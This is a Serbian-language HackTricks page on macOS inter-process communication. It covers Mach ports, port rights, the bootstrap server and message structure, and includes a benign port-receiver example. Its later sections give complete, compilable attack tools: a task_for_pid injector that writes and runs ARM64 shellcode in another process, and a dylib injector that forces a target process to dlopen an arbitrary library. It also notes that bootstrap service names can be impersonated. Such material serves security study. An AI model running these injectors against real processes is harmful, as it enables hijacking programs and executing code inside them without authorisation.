macOS IPC - Inter Process Communication

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mach messaging via Ports

Basic Information

Mach koristi zadace kao najmanju jedinicu za deljenje resursa, a svaka zadaca može sadržati više niti. Ove zadace i niti su mapirane 1:1 na POSIX procese i niti.

Komunikacija između zadataka se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmerne komunikacione kanale. Poruke se prenose između portova, koji deluju kao redovi poruka kojima upravlja kernel.

Svaki proces ima IPC tabelu, u kojoj je moguće pronaći mach portove procesa. Ime mach porta je zapravo broj (pokazivač na kernel objekat).

Proces takođe može poslati ime porta sa nekim pravima drugoj zadaci i kernel će napraviti ovaj unos u IPC tabeli druge zadace.

Port Rights

Prava portova, koja definišu koje operacije zadaca može izvesti, ključna su za ovu komunikaciju. Moguća prava portova su (definicije ovde):

  • Pravo primanja, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (više proizvođača, jedan potrošač) redovi, što znači da može postojati samo jedno pravo primanja za svaki port u celom sistemu (za razliku od cevi, gde više procesa može imati deskriptore datoteka za kraj čitanja jedne cevi).
  • Zadaca sa pravom primanja može primati poruke i kreirati prava slanja, omogućavajući joj da šalje poruke. Prvobitno samo vlastita zadaca ima pravo primanja nad svojim portom.
  • Pravo slanja, koje omogućava slanje poruka na port.
  • Pravo slanja može biti klonirano tako da zadaca koja poseduje pravo slanja može klonirati pravo i dodeliti ga trećoj zadaci.
  • Pravo slanja jednom, koje omogućava slanje jedne poruke na port i zatim nestaje.
  • Pravo skupa portova, koje označava skup portova umesto jednog port. Uklanjanje poruke iz skupa portova uklanja poruku iz jednog od portova koje sadrži. Skupovi portova mogu se koristiti za slušanje na nekoliko portova istovremeno, slično kao select/poll/epoll/kqueue u Unixu.
  • Mrtvo ime, koje nije stvarno pravo porta, već samo mesto za rezervaciju. Kada se port uništi, sva postojeća prava portova na port postaju mrtva imena.

Zadace mogu prenositi PRAVA SLANJA drugima, omogućavajući im da šalju poruke nazad. PRAVA SLANJA se takođe mogu klonirati, tako da zadaca može duplicirati i dati pravo trećoj zadaci. Ovo, u kombinaciji sa posredničkim procesom poznatim kao bootstrap server, omogućava efikasnu komunikaciju između zadataka.

File Ports

File portovi omogućavaju enkapsulaciju deskriptora datoteka u Mac portovima (koristeći prava Mach portova). Moguće je kreirati fileport iz datog FD koristeći fileport_makeport i kreirati FD iz fileporta koristeći fileport_makefd.

Establishing a communication

Steps:

Kao što je pomenuto, da bi se uspostavio komunikacioni kanal, uključuje se bootstrap server (launchd u mac).

  1. Zadaca A inicira novi port, dobijajući PRAVO PRIMANJA u procesu.
  2. Zadaca A, kao nosilac prava primanja, generiše PRAVO SLANJA za port.
  3. Zadaca A uspostavlja vezu sa bootstrap serverom, pružajući ime usluge porta i PRAVO SLANJA kroz proceduru poznatu kao bootstrap registracija.
  4. Zadaca B interaguje sa bootstrap serverom da izvrši bootstrap pretragu za imenom usluge. Ako je uspešna, server duplira PRAVO SLANJA primljeno od Zadace A i prenosi ga Zadaci B.
  5. Nakon sticanja PRAVA SLANJA, Zadaca B je sposobna da formuliše poruku i pošalje je Zadaci A.
  6. Za dvosmernu komunikaciju obično zadaca B generiše novi port sa PRAVOM PRIMANJA i PRAVOM SLANJA, i daje PRAVO SLANJA Zadaci A kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).

Bootstrap server ne može autentifikovati ime usluge koje tvrdi da poseduje zadaca. To znači da bi zadaca mogla potencijalno imitirati bilo koju sistemsku zadacu, kao što je lažno tvrđenje o imenu usluge za autorizaciju i zatim odobravanje svake zahteve.

Zatim, Apple čuva imena usluga koje obezbeđuje sistem u sigurnim konfiguracionim datotekama, smeštenim u SIP-zaštićenim direktorijumima: /System/Library/LaunchDaemons i /System/Library/LaunchAgents. Pored svakog imena usluge, pripadajući binarni fajl se takođe čuva. Bootstrap server će kreirati i zadržati PRAVO PRIMANJA za svako od ovih imena usluga.

Za ove unapred definisane usluge, proces pretrage se malo razlikuje. Kada se ime usluge pretražuje, launchd pokreće uslugu dinamički. Novi radni tok je sledeći:

  • Zadaca B inicira bootstrap pretragu za imenom usluge.
  • launchd proverava da li zadaca radi i ako ne, pokreće je.
  • Zadaca A (usluga) vrši bootstrap prijavu. Ovde, bootstrap server kreira PRAVO SLANJA, zadržava ga i prenosi PRAVO PRIMANJA Zadaci A.
  • launchd duplira PRAVO SLANJA i šalje ga Zadaci B.
  • Zadaca B generiše novi port sa PRAVOM PRIMANJA i PRAVOM SLANJA, i daje PRAVO SLANJA Zadaci A (usluga) kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).

Međutim, ovaj proces se primenjuje samo na unapred definisane sistemske zadace. Ne-sistemske zadace i dalje funkcionišu kao što je prvobitno opisano, što bi potencijalno moglo omogućiti imitaciju.

A Mach Message

Find more info here

Funkcija mach_msg, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom mach_msg_header_t, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način:

c
typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Procesi koji poseduju pravo primanja mogu primati poruke na Mach portu. Nasuprot tome, pošiljaocima se dodeljuju pravo slanja ili pravo slanja-jednom. Pravo slanja-jednom je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.

Da bi se postigla laka dvosmerna komunikacija, proces može da specificira mach port u header-u poruke nazvanom reply port (msgh_local_port) gde primalac poruke može poslati odgovor na ovu poruku. Bitflegovi u msgh_bits mogu se koristiti da naznače da bi pravo slanja-jednom trebalo da se izvede i prenese za ovaj port (MACH_MSG_TYPE_MAKE_SEND_ONCE).

tip

Imajte na umu da se ova vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (xpc_connection_send_message_with_reply i xpc_connection_send_message_with_reply_sync). Ali obično se kreiraju različiti portovi kao što je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.

Ostala polja header-a poruke su:

  • msgh_size: veličina celog paketa.
  • msgh_remote_port: port na kojem je ova poruka poslata.
  • msgh_voucher_port: mach vaučeri.
  • msgh_id: ID ove poruke, koji tumači primalac.

caution

Imajte na umu da se mach poruke šalju preko _mach porta_, koji je kanal za komunikaciju sa jednim primaocem i više pošiljalaca ugrađen u mach kernel. Više procesa može slati poruke na mach port, ali u bilo kojem trenutku samo jedan proces može čitati iz njega.

Nabrojati portove

bash
lsmp -p <pid>

Možete instalirati ovaj alat na iOS preuzimanjem sa http://newosxbook.com/tools/binpack64-256.tar.gz

Primer koda

Obratite pažnju na to kako pošiljalac dodeljuje port, kreira pravo slanja za ime org.darlinghq.example i šalje ga bootstrap serveru dok je pošiljalac tražio pravo slanja tog imena i koristio ga za slanje poruke.

c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Privilegovani portovi

  • Host port: Ako proces ima Send privilegiju preko ovog porta, može dobiti informacije o sistemu (npr. host_processor_info).
  • Host priv port: Proces sa Send pravom preko ovog porta može izvoditi privilegovane akcije kao što je učitavanje kernel ekstenzije. Proces mora biti root da bi dobio ovu dozvolu.
  • Pored toga, da bi se pozvala kext_request API, potrebno je imati druge privilegije com.apple.private.kext* koje se daju samo Apple binarnim datotekama.
  • Task name port: Nepprivilegovana verzija task porta. Referencira zadatak, ali ne dozvoljava njegovo kontrolisanje. Jedina stvar koja se čini dostupnom kroz njega je task_info().
  • Task port (poznat i kao kernel port): Sa Send dozvolom preko ovog porta moguće je kontrolisati zadatak (čitati/pisati memoriju, kreirati niti...).
  • Pozovite mach_task_self() da dobijete ime za ovaj port za pozivajući zadatak. Ovaj port se samo nasleđuje kroz exec(); novi zadatak kreiran sa fork() dobija novi task port (kao poseban slučaj, zadatak takođe dobija novi task port nakon exec() u suid binarnoj datoteci). Jedini način da se pokrene zadatak i dobije njegov port je da se izvede "port swap dance" dok se radi fork().
  • Ovo su ograničenja za pristup portu (iz macos_task_policy iz binarne datoteke AppleMobileFileIntegrity):
  • Ako aplikacija ima com.apple.security.get-task-allow privilegiju, procesi iz iste korisničke grupe mogu pristupiti task portu (obično dodato od strane Xcode za debagovanje). Proces notarizacije to neće dozvoliti za produkcijske verzije.
  • Aplikacije sa com.apple.system-task-ports privilegijom mogu dobiti task port za bilo koji proces, osim kernela. U starijim verzijama to se zvalo task_for_pid-allow. Ovo se dodeljuje samo Apple aplikacijama.
  • Root može pristupiti task portovima aplikacija koje nisu kompajlirane sa hardened runtime-om (i nisu od Apple-a).

Shellcode injekcija u niti putem Task porta

Možete preuzeti shellcode sa:

{{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Kompajlirati prethodni program i dodati ovlašćenja da biste mogli da injektujete kod sa istim korisnikom (ako ne, moraćete da koristite sudo).

sc_injector.m
objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue];
}

BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}

NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;

if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}

inject(pid);
}

return 0;
}
bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Dylib Injekcija u niti putem Task porta

U macOS-u niti se mogu manipulisati putem Mach ili korišćenjem posix pthread api. Niti koju smo generisali u prethodnoj injekciji, generisana je koristeći Mach api, tako da nije posix kompatibilna.

Bilo je moguće injektovati jednostavan shellcode za izvršavanje komande jer nije bilo potrebno raditi sa posix kompatibilnim apijima, samo sa Mach. Složenije injekcije bi zahtevale da niti takođe bude posix kompatibilna.

Stoga, da bi se poboljšala nit, trebalo bi pozvati pthread_create_from_mach_thread koja će kreirati validan pthread. Tada bi ovaj novi pthread mogao pozvati dlopen da učita dylib iz sistema, tako da umesto pisanja novog shellcode-a za izvođenje različitih akcija, moguće je učitati prilagođene biblioteke.

Možete pronaći primer dylibs u (na primer, onaj koji generiše log i zatim možete slušati):

{{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}}

dylib_injector.m
objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}

// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}


// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, "   _action_: path to a dylib on disk\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}

}
bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

Preuzimanje niti putem Task port

U ovoj tehnici se preuzima nit procesa:

{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md {{#endref}}

XPC

Osnovne informacije

XPC, što je skraćenica za XNU (jezgro koje koristi macOS) međuprocesna komunikacija, je okvir za komunikaciju između procesa na macOS-u i iOS-u. XPC pruža mehanizam za sigurne, asinhrone pozive metoda između različitih procesa na sistemu. To je deo Apple-ove sigurnosne paradigme, koja omogućava kreiranje aplikacija sa odvojenim privilegijama gde svaki komponent radi sa samo onim dozvolama koje su mu potrebne da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.

Za više informacija o tome kako ova komunikacija funkcioniše i kako bi mogla biti ranjiva, proverite:

{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}}

MIG - Mach Interface Generator

MIG je kreiran da ** pojednostavi proces kreiranja Mach IPC** koda. U suštini, generiše potrebni kod za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo morati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.

Za više informacija proverite:

{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}}

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks